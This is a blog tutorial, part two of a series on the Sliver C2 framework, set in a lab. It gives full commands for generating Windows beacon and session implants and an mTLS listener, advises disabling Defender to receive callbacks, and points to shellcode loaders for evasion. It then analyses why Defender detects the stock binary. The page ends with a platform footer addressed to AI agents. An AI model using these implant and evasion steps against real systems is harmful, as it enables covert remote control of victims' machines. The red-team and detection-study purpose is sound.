> For the complete documentation index, see [llms.txt](https://top-gun-diary.gitbook.io/blog/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://top-gun-diary.gitbook.io/blog/sliver-c2-framework-series/part-two-creating-and-reversing-your-first-sliver-implant.md).

# Part Two : Creating and Reversing Your First Sliver Implant

*Sliver is a powerful and well-documented C2 framework that’s widely used in red-team labs and security research. In theory, its support for multiple protocols, encryption, and optional encoding/obfuscation allows operators to experiment with techniques that may slip past some detection tools.*

*In this article, we’ll walk through how to build your **first Sliver implant from scratch** . We’ll start by setting up the Sliver server, generate an implant, and then stage it in a small lab environment to observe how it behaves in practice.*

*Spoiler: it didn’t stay hidden for long. 😅*

*During testing, several security controls still detected the activity. At the end of the article, we’ll break down **where detection fired, what triggered it, and what that tells us about the limits of relying on encoding or obfuscation alone** . Modern security tools tend to focus heavily on behavioral patterns rather than just signatures or simple payload encoding.*

*It’s also important to note that this walkthrough is meant as a **basic introduction** . I haven’t used **custom loaders, redirectors, or advanced infrastructure** in this setup yet. Those techniques are often part of **more advanced red team operations** , but understanding the fundamentals first is important before moving into more complex tradecraft.*

*Everything demonstrated in this article was tested in a **local lab environment** . However, if you want to replicate the experiment and receive real callback sessions, you’ll likely need a **public VPS** . Platforms like **Azure** or **AWS** are commonly used for this purpose, as they allow implants to communicate with the C2 server over the internet.*

*This guide is simply the starting point the foundation you’ll likely build on later when experimenting with more advanced red-team infrastructure and techniques.*

## Understanding Sliver Implant Options

*Before generating anything, it’s worth understanding the axes that define every Sliver implant: **mode** , **format** . Getting these right from the start saves a lot of troubleshooting later.*

## Implant Modes : Session vs. Beacon

*The single most important decision when generating a Sliver implant is whether you want a **Session** or a **Beacon** .*

*A **Session** implant maintains a persistent, real-time connection back to your server. It’s the equivalent of a classic reverse shell you get immediate, interactive control, and commands like `shell` , `portfwd` , and `socks5` work natively. The tradeoff is noise: the constant heartbeat traffic is more likely to catch a defender's eye. The implant generated in this walkthrough (`mtls_session.exe` ) is a session implant, produced by running `generate --mtls` without the `beacon` subcommand.*

*A **Beacon** implant operates asynchronously it checks in on a configurable interval, executes any queued tasks, and goes quiet again. This dramatically reduces its network footprint and makes it a better fit for long-term persistence and realistic OPSEC. Most red teamers start with a beacon and only drop into an interactive session when they need hands-on access, using the `interactive` command to open one on demand.*

```bash
# Session implant
generate --mtls YOUR_LAB_IP:443 --os windows --arch amd64 --save mtls_session.exe
```

```bash
# Beacon implant (recommended for stealth)
generate beacon --mtls YOUR_LAB_IP:443 --os windows --arch amd64 --seconds 60 --jitter 30 --save mtls_beacon.exe
```

## Output Formats : How the Implant is Delivered

*The same session or beacon logic can be compiled into several different formats depending on your delivery method.*

*The default is `exe` a standalone Windows executable. It's the quickest to generate and test, but it comes at a cost: Sliver produces large Go binaries in the 10–16 MB range, and dropping a full executable to disk is exactly the kind of thing Defender and most EDRs are watching for.*

*`shellcode` is the format you'll want when fighting detections. Instead of a full binary, Sliver outputs raw position-independent code that you execute in-memory through a loader a lightweight C#, PowerShell, or C stub that injects and runs the shellcode without ever writing a recognizable executable to disk.*

*`dll` rounds out the common options, useful for DLL injection or sideloading scenarios where you need the implant to live inside another process.*

![](/files/619f91345d04beeb68088fa58d5f5d031092720e)

<p align="center">Figure 1.0</p>

*Next, I created a new* ***mTLS listener*** *on the Sliver server using the following command:*

```bash
mtls --lhost 10.0.2.15 --lport 447
```

*This configures the server to listen for incoming* ***mutual TLS (mTLS)*** *connections on port* ***447*** *, allowing implants to communicate securely with the C2 server.*

*To make sure the implant can connect back successfully over the internet, you’ll need to generate a new implant that points to your* ***public IP address*** *in the mTLS endpoint. For example:*

```bash
generate beacon --mtls YOUR_PUBLIC_IP:443 --os windows --arch amd64 --seconds 60 --jitter 30 --save mtls_beacon_public.exe
```

*If you prefer a* ***session-based implant*** *instead of a beacon, you can simply use the* `generate` *command without the* `beacon` *option as shown in the figure below….*

![](/files/26438db5dcb4743932193adaee1a11401284ee39)

<p align="center">Figure 1.2</p>

*Make sure to replace* `YOUR_PUBLIC_IP` *with your actual public IP address. You can quickly check it with:*

```bash
curl ifconfig.me
```

![](/files/1e79ae4fc42f33dca807e04756b1c6ec17ec6a08)

<p align="center">Figure 1.3</p>

*Now that the implant has been generated, you can transfer it to your* ***test Windows machine*** *using a python server….. If you want to observe a successful call-back and obtain a session, you may need to temporarily disable* ***Microsoft Defender’s real-time protection*** *, as it will often detect and block the generated implant.*

*Alternatively, you can keep Defender enabled to see how quickly it* ***detects and flags the payload*** *, which is useful for understanding how modern AV/EDR responds to basic C2 implants…..*

![](/files/c2c1620ee9a6c7d755deabd41ad75f616fc39445)

<p align="center">Figure 1.4</p>

*Boom the implant was immediately flagged by Windows Defender. This happens because the generated file is a* ***default, unmodified Sliver executable*** *. When you create a full* `.exe` *using the standard* `generate` *command, Sliver compiles a relatively large* ***Go-based binary*** *with a recognizable structure and fingerprint.*

*Microsoft Defender has strong signatures and machine-learning models trained to detect* ***stock Sliver implants*** *. Even though many strings are obfuscated, Defender can still identify patterns such as* ***Go runtime artifacts, memory allocation calls (e.g.,*** `VirtualAlloc` ***), and the embedded C2 communication logic*** *. As a result, as soon as the file is downloaded or executed on disk, Defender typically flags and quarantines it.*

*One common way to reduce this type of detection is to avoid using the large full* `.exe` *implant and instead generate* ***shellcode*** *. Shellcode is raw machine code that can be executed directly in memory, which avoids dropping a clearly identifiable executable file on disk. The shellcode can then be executed using a* ***simple in-memory loader*** *written in languages such as C#, PowerShell, C++, or even Rust.*

*This behavior is extremely common in lab environments most* ***default Sliver executables are detected on modern Windows systems*** *without any custom evasion techniques. For learning and testing purposes, you can temporarily disable* ***Real-time Protection*** *to observe a successful callback, or experiment with* ***shellcode-based execution*** *to understand how in-memory techniques change the detection surface….*

Press enter or click to view image in full size

![](/files/609b85d22f56ab578173f38f9d5417ed368351a7)

<p align="center">Source : <a href="https://github.com/hasherezade/pe-bear">https://github.com/hasherezade/pe-bear</a></p>

*Next, we’ll take a closer look at the generated* ***Sliver executable*** *to understand why it’s so easily recognized by security tools. We can start by analyzing the file with* ***PE-bear*** *, which allows us to inspect the PE structure, sections, imports, and other metadata commonly associated with Go-compiled binaries.*

*In addition, we can extract readable strings from the binary to identify patterns or artifacts left inside the file. This can be done using tools like* `strings` ***on Linux*** *, which helps reveal embedded information such as library references, runtime artifacts, or other indicators that may contribute to detection. By combining PE analysis and string extraction, we can get a clearer picture of the characteristics that make default Sliver executables easier for defenders to identify.*

![](/files/ab2e052fbe8dab2c00ff17fc3edafa437103d139)

<p align="center">Figure 1.5</p>

*This figure shows the general information of the generated Sliver executable. From here, we can navigate to the* ***Strings*** *section to extract readable text embedded inside the binary. Reviewing these strings helps us gain a better understanding of the file’s contents and identify patterns, artifacts, or references that may contribute to how security tools detect the executable.*

![](/files/8896951f994c647b87325d0bb638103596e361fc)

<p align="center">Figure 1.6</p>

*When analyzing a suspicious binary, strings are usually one of the first places to look for indicators of intent. Analysts typically hunt for hardcoded IP addresses or domains that reveal C2 infrastructure, registry keys and file paths that hint at persistence mechanisms, API function names like* ***VirtualAlloc*** *or* ***CreateRemoteThread*** *that suggest injection behavior, and error or debug messages left behind by the developer that can even fingerprint the specific tool or framework used. In a well-behaved malicious binary,* ***strings alone can tell most of the story.*** *What we found here tells a different story entirely. Instead of actionable indicators, PE-bear surfaced over 92,000 strings nearly all of them short, repetitive, and meaningless fragments like* ***M9,$u.*** *This is Go’s runtime fingerprint: the compiler bundles an enormous amount of type metadata, scheduler internals, and symbol information directly into the binary, flooding the strings output with noise. There’s nothing useful to pivot on, no domains, no API calls, no debug output just a wall of garbage that effectively buries any meaningful content and makes string-based static detection a dead end…..*

![](/files/740d4f4900ebc2e8af6dfc1257c19e3b013f8e1c)

<p align="center">Figure 1.7</p>

*If you’re working on a Linux machine, you can get the same view using the built-in* `strings` *utility without needing a GUI tool like PE-bear. Running* `strings mtls_session.exe` *against the binary will dump all printable character sequences to stdout, and piping it through* `grep` *lets you quickly filter for anything interesting for example,* `strings mtls_session.exe | grep -i "http"` *to hunt for URLs, or* `grep -E "([0-9]{1,3}\.){3}[0-9]{1,3}"` *to pull out anything resembling an IP address. You can also pipe through* `wc -l` *to get a raw count of how many strings were extracted, which in our case will slam straight into the same problem an enormous number with very little signal buried inside it.*

*Hope you enjoyed working through this one building your first Sliver implant, understanding the generation options, and seeing firsthand how static analysis holds up against a Go-compiled binary. If you have any feedback or questions, drop them in the comments below. In the next article we’ll get into custom techniques for Sliver evasion, loaders, and getting past the detections that caught us here. Until then, happy hacking!….*


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://top-gun-diary.gitbook.io/blog/sliver-c2-framework-series/part-two-creating-and-reversing-your-first-sliver-implant.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
